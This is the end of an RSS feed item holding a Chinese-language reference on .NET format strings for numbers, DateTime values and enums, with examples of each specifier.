		<description><![CDATA[.net格式字串收集<br/><br/>DataFormatString属性:{0:Bxx}&nbsp;B为取值类型<br/>格式字符&nbsp;说明&nbsp;<br/>C&nbsp;&nbsp;以货币格式显示数值。&nbsp;<br/>D&nbsp;&nbsp;以十进制格式显示数值。&nbsp;<br/>E&nbsp;&nbsp;以科学记数法（指数）格式显示数值。&nbsp;<br/>F&nbsp;&nbsp;以固定格式显示数值。&nbsp;<br/>G&nbsp;&nbsp;以常规格式显示数值。&nbsp;<br/>N&nbsp;&nbsp;以数字格式显示数值。&nbsp;<br/>X&nbsp;&nbsp;以十六进制格式显示数值。&nbsp;<br/><br/>注意&nbsp;&nbsp;&nbsp;除&nbsp;X&nbsp;以指定的大小写形式显示十六进制字符之外，其他格式字符不区分大小写。<br/>格式字符后的值（常规示例中为&nbsp;xx）指定显示的值的有效位数或小数位数。<br/><br/><br/>例:<br/>98765.4321&nbsp;&nbsp;&#34;{0:C}&#34;&nbsp;&nbsp;&nbsp;￥98,765.43<br/>-8765.4321&nbsp;&nbsp;&#34;{0:C}&#34;&nbsp;&nbsp;&nbsp;(￥98,765.43)<br/>12345&nbsp;&nbsp;&#34;{0:D}&#34;&nbsp;12345<br/>12345&nbsp;&nbsp;&#34;{0:D6}&#34;&nbsp;012345<br/>98765.4321&nbsp;&nbsp;&#34;{0:E}&#34;&nbsp;&nbsp;&nbsp;9.87654321E+004<br/>98765.4321&nbsp;&nbsp;&#34;{0:E11}&#34;&nbsp;&nbsp;&nbsp;9.87654321000E+004<br/>98765.4321&nbsp;&nbsp;&#34;{0:F}&#34;&nbsp;&nbsp;&nbsp;98765.43<br/>98765.4321&nbsp;&nbsp;&#34;{0:F0}&#34;&nbsp;&nbsp;&nbsp;98765<br/>98765.4321&nbsp;&nbsp;&#34;{0:G}&#34;&nbsp;&nbsp;&nbsp;98765.4321<br/>987654321&nbsp;&nbsp;&#34;{0:G6}&#34;&nbsp;&nbsp;&nbsp;9.87654E8<br/>98765.4321&nbsp;&nbsp;&#34;{0:N}&#34;&nbsp;&nbsp;&nbsp;98,765.43<br/>987654321&nbsp;&nbsp;&#34;{0:N3}&#34;&nbsp;&nbsp;&nbsp;987,654,321.000<br/>98765.4321&nbsp;&nbsp;&#34;Total:{0:C}&#34;&nbsp;￥98,765.43<br/><br/><br/>字符格式:<br/>{0:c}货币格式<br/>日期:<br/>{0:d}2004-11-1<br/>{0:D}2004年11月1日<br/><br/>格式说明符&nbsp;名称&nbsp;说明&nbsp;<br/>d&nbsp;短日期模式<br/>D&nbsp;长日期模式&nbsp;<br/>t&nbsp;短时间模式&nbsp;<br/>T&nbsp;长时间模式&nbsp;<br/>f&nbsp;完整日期/时间模式（短时间）&nbsp;显示长日期和短时间模式的组合，由空格分隔。&nbsp;<br/>F&nbsp;完整日期/时间模式（长时间）<br/>g&nbsp;常规日期/时间模式（短时间）&nbsp;显示短日期和短时间模式的组合，由空格分隔。&nbsp;<br/>G&nbsp;常规日期/时间模式（长时间）&nbsp;显示短日期和长时间模式的组合，由空格分隔。&nbsp;<br/>M&nbsp;或&nbsp;m&nbsp;月日模式&nbsp;<br/>R&nbsp;或&nbsp;r&nbsp;RFC1123&nbsp;模式&nbsp;<br/>s&nbsp;可排序的日期/时间模式；<br/>u&nbsp;通用的可排序日期/时间模式&nbsp;<br/>U&nbsp;通用的可排序日期/时间模式<br/>Y&nbsp;或&nbsp;y&nbsp;年月模式<br/>任何其他单个字符&nbsp;未知说明符&nbsp;<br/>&#39;///////////////////////////////////////////<br/>自定义日期格式<br/>格式说明符&nbsp;说明&nbsp;<br/>d&nbsp;显示月份的当前日期，以&nbsp;1&nbsp;到&nbsp;31&nbsp;之间的一个数字表示，包括&nbsp;1&nbsp;和&nbsp;31。如果日期只有一位数字&nbsp;(1-9)，则它显示为一位数字。&nbsp;<br/>请注意，如果“d”格式说明符单独使用，没有其他自定义格式字符串，则它被解释为标准短日期模式格式说明符。如果“d”格式说明符与其他自定义格式说明符或者“%”字符一起传递，则它被解释为自定义格式说明符。<br/>&nbsp;<br/>dd&nbsp;显示月份的当前日期，以&nbsp;1&nbsp;到&nbsp;31&nbsp;之间的一个数字表示，包括&nbsp;1&nbsp;和&nbsp;31。如果日期只有一位数字&nbsp;(1-9)，则将其格式化为带有前导&nbsp;0&nbsp;(01-09)。&nbsp;<br/>ddd&nbsp;显示指定的&nbsp;DateTime&nbsp;的日期部分缩写名称。如果未提供特定的有效格式提供程序（实现具有预期属性的&nbsp;IFormatProvider&nbsp;的非空对象），则使用&nbsp;DateTimeFormat&nbsp;的&nbsp;AbbreviatedDayNames&nbsp;属性及其与当前所使用线程关联的当前区域性。否则，使用来自指定格式提供程序的&nbsp;AbbreviatedDayNames&nbsp;属性。&nbsp;<br/>dddd（外加任意数量的附加“d”字符）&nbsp;显示指定的&nbsp;DateTime&nbsp;的日期全名。如果未提供特定的有效格式提供程序（一个非空对象，可实现具有预期属性的&nbsp;IFormatProvider），则使用&nbsp;DateTimeFormat&nbsp;的&nbsp;DayNames&nbsp;属性及其与当前所使用线程关联的当前区域性。否则，使用来自指定格式提供程序的&nbsp;DayNames&nbsp;属性。&nbsp;<br/>f&nbsp;显示以一位数字表示的秒。&nbsp;<br/>请注意，如果“f”格式说明符单独使用，没有其他自定义格式字符串，则它被解释为完整的（长日期&nbsp;+&nbsp;短时间）格式说明符。如果“f”格式说明符与其他自定义格式说明符或“%”字符一起传递，则它被解释为自定义格式说明符。<br/>&nbsp;<br/>ff&nbsp;显示以二位数字表示的秒。&nbsp;<br/>fff&nbsp;显示以三位数字表示的秒。&nbsp;<br/>ffff&nbsp;显示以四位数字表示的秒。&nbsp;<br/>fffff&nbsp;显示以五位数字表示的秒。&nbsp;<br/>ffffff&nbsp;显示以六位数字表示的秒。&nbsp;<br/>fffffff&nbsp;显示以七位数字表示的秒。&nbsp;<br/>g&nbsp;或&nbsp;gg（外加任意数量的附加“g”字符）&nbsp;显示指定的&nbsp;DateTime&nbsp;的年代部分（例如&nbsp;A.D.）。如果未提供特定的有效格式提供程序（一个非空对象，可实现具有预期属性的&nbsp;IFormatProvider），则年代由与&nbsp;DateTimeFormat&nbsp;关联的日历及其与当前线程关联的当前区域性确定。&nbsp;<br/>请注意，如果“g”格式说明符单独使用，没有其他自定义格式字符串，则它被解释为标准常规格式说明符。如果“g”格式说明符与其他自定义格式说明符或“%”字符一起传递，则它被解释为自定义格式说明符。<br/>&nbsp;<br/>h&nbsp;以&nbsp;1&nbsp;到&nbsp;12&nbsp;范围中的一个数字显示指定的&nbsp;DateTime&nbsp;的小时数，该小时数表示自午夜（显示为&nbsp;12）或中午（也显示为&nbsp;12）后经过的整小时数。如果单独使用这种格式，则无法区别某一小时是中午以前还是中午以后的时间。如果该小时是单个数字&nbsp;(1-9)，则它显示为单个数字。显示小时时不发生任何舍入。例如，DateTime&nbsp;为&nbsp;5:43&nbsp;时返回&nbsp;5。&nbsp;<br/>hh,&nbsp;hh（外加任意数量的附加“h”字符）&nbsp;以&nbsp;1&nbsp;到&nbsp;12&nbsp;范围中的一个数字显示指定的&nbsp;DateTime&nbsp;的小时数，该小时数表示自午夜（显示为&nbsp;12）或中午（也显示为&nbsp;12）后经过的整小时数。如果单独使用这种格式，则无法区别某一小时是中午以前还是中午以后的时间。如果该小时是单个数字&nbsp;(1-9)，则将其格式化为前面带有&nbsp;0&nbsp;(01-09)。&nbsp;<br/>H&nbsp;以&nbsp;0&nbsp;到&nbsp;23&nbsp;范围中的一个数字显示指定的&nbsp;DateTime&nbsp;的小时数，该小时数表示自午夜（显示为&nbsp;0）后经过的整小时数。如果该小时是单个数字&nbsp;(0-9)，则它显示为单个数字。&nbsp;<br/>HH,&nbsp;HH（外加任意数量的附加“H”字符）&nbsp;以&nbsp;0&nbsp;到&nbsp;23&nbsp;范围中的一个数字显示指定的&nbsp;DateTime&nbsp;的小时数，该小时数表示自午夜（显示为&nbsp;0）后经过的整小时数。如果该小时是单个数字&nbsp;(0-9)，则将其格式化为前面带有&nbsp;0&nbsp;(01-09)。&nbsp;<br/>m&nbsp;以&nbsp;0&nbsp;到&nbsp;59&nbsp;范围中的一个数字显示指定的&nbsp;DateTime&nbsp;的分钟数，该分钟数表示自上一小时后经过的整分钟数。如果分钟是一位数字&nbsp;(0-9)，则它显示为一位数字。&nbsp;<br/>请注意，如果“m”格式说明符单独使用，没有其他自定义格式字符串，则它被解释为标准的月日模式格式说明符。如果“m”格式说明符与其他自定义格式说明符或“%”字符一起传递，则它被解释为自定义格式说明符。<br/>&nbsp;<br/>mm,&nbsp;mm（外加任意数量的附加“m”字符）&nbsp;以&nbsp;0&nbsp;到&nbsp;59&nbsp;范围中的一个数字显示指定的&nbsp;DateTime&nbsp;的分钟数，该分钟数表示自上一小时后经过的整分钟数。如果分钟是一位数字&nbsp;(0-9)，则将其格式化为带有前导&nbsp;0&nbsp;(01-09)。&nbsp;<br/>M&nbsp;显示月份，以&nbsp;1&nbsp;到&nbsp;12&nbsp;之间（包括&nbsp;1&nbsp;和&nbsp;12）的一个数字表示。如果月份是一位数字&nbsp;(1-9)，则它显示为一位数字。&nbsp;<br/>请注意，如果“M”格式说明符单独使用，没有其他自定义格式字符串，则它被解释为标准的月天模式格式说明符。如果“M”格式说明符与其他自定义格式说明符或“%”字符一起传递，则它被解释为自定义格式说明符。<br/>&nbsp;<br/>MM&nbsp;显示月份，以&nbsp;1&nbsp;到&nbsp;12&nbsp;之间（包括&nbsp;1&nbsp;和&nbsp;12）的一个数字表示。如果月份是一位数字&nbsp;(1-9)，则将其格式化为带有前导&nbsp;0&nbsp;(01-09)。&nbsp;<br/>MMM&nbsp;显示指定的&nbsp;DateTime&nbsp;的月部分缩写名称。如果未提供特定的有效格式提供程序（一个非空对象，可实现具有预期属性的&nbsp;IFormatProvider），则使用&nbsp;DateTimeFormat&nbsp;的&nbsp;AbbreviatedMonthNames&nbsp;属性及其与当前线程关联的当前区域性。否则，使用来自指定格式提供程序的&nbsp;AbbreviatedMonthNames&nbsp;属性。&nbsp;<br/>MMMM&nbsp;显示指定的&nbsp;DateTime&nbsp;的月的全名。如果未提供特定的有效格式提供程序（一个非空对象，可实现具有预期属性的&nbsp;IFormatProvider），则使用&nbsp;DateTimeFormat&nbsp;的&nbsp;MonthNames&nbsp;属性及其与当前线程关联的当前区域性。否则，使用来自指定格式提供程序的&nbsp;MonthNames&nbsp;属性。&nbsp;<br/>s&nbsp;以&nbsp;0&nbsp;到&nbsp;59&nbsp;范围中的一个数字显示指定的&nbsp;DateTime&nbsp;的秒数，该秒数表示自上一分钟后经过的整秒数。如果秒是一位数字&nbsp;(0-9)，则它仅显示为一位数字。&nbsp;<br/>请注意，如果“s”格式说明符单独使用，没有其他自定义格式字符串，则它被解释为标准的可排序日期/时间模式格式说明符。如果“s”格式说明符与其他自定义格式说明符或“%”字符一起传递，则它被解释为自定义格式说明符。<br/>&nbsp;<br/>ss,&nbsp;ss（外加任意数量的附加“s”字符）&nbsp;以&nbsp;0&nbsp;到&nbsp;59&nbsp;范围中的一个数字显示指定的&nbsp;DateTime&nbsp;的秒数，该秒数表示自上一分钟后经过的整秒数。如果秒是一位数字&nbsp;(0-9)，则将其格式化为带有前导&nbsp;0&nbsp;(01-09)。&nbsp;<br/>t&nbsp;显示指定的&nbsp;DateTime&nbsp;的&nbsp;A.M./P.M.&nbsp;指示项的第一个字符。如果未提供特定的有效格式提供程序（一个非空对象，可实现具有预期属性的&nbsp;IFormatProvider），则使用&nbsp;DateTimeFormat&nbsp;的&nbsp;AMDesignator（或&nbsp;PMDesignator）属性及其与当前线程关联的当前区域性。否则，使用来自指定&nbsp;IFormatProvider&nbsp;的&nbsp;AMDesignator（或&nbsp;PMDesignator）属性。如果对于指定的&nbsp;DateTime&nbsp;所经过的总整小时数小于&nbsp;12，则使用&nbsp;AMDesignator。否则，使用&nbsp;PMDesignator。&nbsp;<br/>请注意，如果“t”格式说明符单独使用，没有其他自定义格式字符串，则它被解释为标准的长时间模式格式说明符。如果“t”格式说明符与其他自定义格式说明符或“%”字符一起传递，则它被解释为自定义格式说明符。<br/>&nbsp;<br/>tt,&nbsp;tt（外加任意数量的附加“t”字符）&nbsp;显示指定的&nbsp;DateTime&nbsp;的&nbsp;A.M./P.M.&nbsp;指示项。如果未提供特定的有效格式提供程序（一个非空对象，可实现具有预期属性的&nbsp;IFormatProvider），则使用&nbsp;DateTimeFormat&nbsp;的&nbsp;AMDesignator（或&nbsp;PMDesignator）属性及其与当前线程关联的当前区域性。否则，使用来自指定&nbsp;IFormatProvider&nbsp;的&nbsp;AMDesignator（或&nbsp;PMDesignator）属性。如果对于指定的&nbsp;DateTime&nbsp;所经过的总整小时数小于&nbsp;12，则使用&nbsp;AMDesignator。否则，使用&nbsp;PMDesignator。&nbsp;<br/>y&nbsp;最多用两位数字显示指定的&nbsp;DateTime&nbsp;的年份。忽略年的前两位数字。如果年份是一位数字&nbsp;(1-9)，则它显示为一位数字。&nbsp;<br/>请注意，如果“y”格式说明符单独使用，没有其他自定义格式字符串，则它被解释为标准短日期模式格式说明符。如果“y”格式说明符与其他自定义格式说明符或“%”字符一起传递，则它被解释为自定义格式说明符。<br/>&nbsp;<br/>yy&nbsp;最多用两位数字显示指定的&nbsp;DateTime&nbsp;的年份。忽略年的前两位数字。如果年份是一位数字&nbsp;(1-9)，则将其格式化为带有前导&nbsp;0&nbsp;(01-09)。&nbsp;<br/>yyyy&nbsp;显示指定的&nbsp;DateTime&nbsp;的年份部分（包括纪元）。如果年份长度小于四位，则按需要在前面追加零以使显示的年份长度达到四位。&nbsp;<br/>z&nbsp;仅以整小时数为单位显示系统当前时区的时区偏移量。偏移量总显示为带有前导符号（零显示为“+0”），指示早于格林威治时间&nbsp;(+)&nbsp;或迟于格林威治时间&nbsp;(-)&nbsp;的小时数。值的范围是&nbsp;-12&nbsp;到&nbsp;+13。如果偏移量为一位数&nbsp;(0-9)，则将其显示为带合适前导符号的一位数。时区设置以&nbsp;+X&nbsp;或&nbsp;-X&nbsp;的形式指定，其中&nbsp;X&nbsp;是相对于&nbsp;GMT&nbsp;的小时偏差。显示的偏差受夏时制的影响。&nbsp;<br/>zz&nbsp;仅以整小时数为单位显示系统当前时区的时区偏移量。偏移量总显示为带有前导或尾随符号（零显示为“+00”），指示早于格林威治时间&nbsp;(+)&nbsp;或迟于格林威治时间&nbsp;(-)&nbsp;的小时数。值范围为&nbsp;-12&nbsp;到&nbsp;+13。如果偏移量为一位数&nbsp;(0-9)，则将其格式化为前面带有&nbsp;0&nbsp;(01-09)&nbsp;并带有适当的前导符号。时区设置以&nbsp;+X&nbsp;或&nbsp;-X&nbsp;的形式指定，其中&nbsp;X&nbsp;是相对于&nbsp;GMT&nbsp;的小时偏差。显示的偏差受夏时制的影响。&nbsp;<br/>zzz,&nbsp;zzz（外加任意数量的附加“z”字符）&nbsp;以小时和分钟为单位显示系统当前时区的时区偏移量。偏移量总是显示为带有前导或尾随符号（零显示为“+00:00”），指示早于格林威治时间&nbsp;(+)&nbsp;或迟于格林威治时间&nbsp;(-)&nbsp;的小时数。值范围为&nbsp;-12:00&nbsp;到&nbsp;+13:00。如果偏移量为一位数&nbsp;(0-9)，则将其格式化为前面带有前导&nbsp;0&nbsp;(01-09)&nbsp;并带有适当的前导符号。时区设置以&nbsp;+X&nbsp;或&nbsp;-X&nbsp;的形式指定，其中&nbsp;X&nbsp;是相对于&nbsp;GMT&nbsp;的小时偏差。显示的偏差受夏时制的影响。&nbsp;<br/>:&nbsp;时间分隔符。&nbsp;<br/>/&nbsp;日期分隔符。&nbsp;<br/>&#34;&nbsp;带引号的字符串。显示转义符&nbsp;(/)&nbsp;之后两个引号之间的任何字符串的文本值。&nbsp;&nbsp;<br/>&#39;&nbsp;带引号的字符串。显示两个“&#39;”字符之间的任何字符串的文本值。&nbsp;<br/>%c&nbsp;其中&nbsp;c&nbsp;既是标准格式说明符又是自定义格式说明符，显示与格式说明符关联的自定义格式模式。&nbsp;<br/>请注意，如果格式说明符作为单个字符来单独使用，它将被解释成标准格式说明符。只有包含两个或更多字符的格式说明符被解释为自定义格式说明符。说明符可以被同时定义为标准和自定义格式说明符，要显示此种说明符的自定义格式，请在说明符之前加“%”符号。<br/>&nbsp;<br/>\c&nbsp;其中&nbsp;c&nbsp;是任意字符，转义符将下一个字符显示为文本。在此上下文中，转义符不能用于创建转义序列（如“\n”表示换行）。&nbsp;<br/>任何其他字符&nbsp;其他字符作为文本直接写入输出字符串。&nbsp;<br/><br/>&#39;///////////////////////////////////////////<br/>枚举格式字符串<br/>可以使用&nbsp;ToString&nbsp;方法创建新的字符串对象，以表示&nbsp;Enum&nbsp;的数字、十六进制或字符串值。此方法采用某个枚举格式化字符串指定希望返回的值。<br/><br/>下表列出了枚举格式化字符串及其返回的值。这些格式说明符不区分大小写。<br/><br/>格式字符串&nbsp;结果&nbsp;<br/>G&nbsp;或&nbsp;g&nbsp;如有可能，将枚举项显示为字符串值，否则显示当前实例的整数值。如果枚举定义中设置了&nbsp;Flags&nbsp;属性，则串联每个有效项的字符串值并将各值用逗号分开。如果未设置&nbsp;Flags&nbsp;属性，则将无效值显示为数字项。&nbsp;<br/>F&nbsp;或&nbsp;f&nbsp;如有可能，将枚举项显示为字符串值。如果值可以完全显示为枚举项的总和（即使未提供&nbsp;Flags&nbsp;属性），则串联每个有效项的字符串值并将各值用逗号分开。如果值不能完全由枚举项确定，则将值格式化为整数值。&nbsp;<br/>D&nbsp;或&nbsp;d&nbsp;以尽可能短的表示形式将枚举项显示为整数值。&nbsp;<br/>X&nbsp;或&nbsp;x&nbsp;将枚举项显示为十六进制值。按需要将值表示为带有前导零，以确保值的长度最少有八位。&nbsp;<br/>&nbsp;<br/>]]></description>
		</item>
		
</channel>
</rss>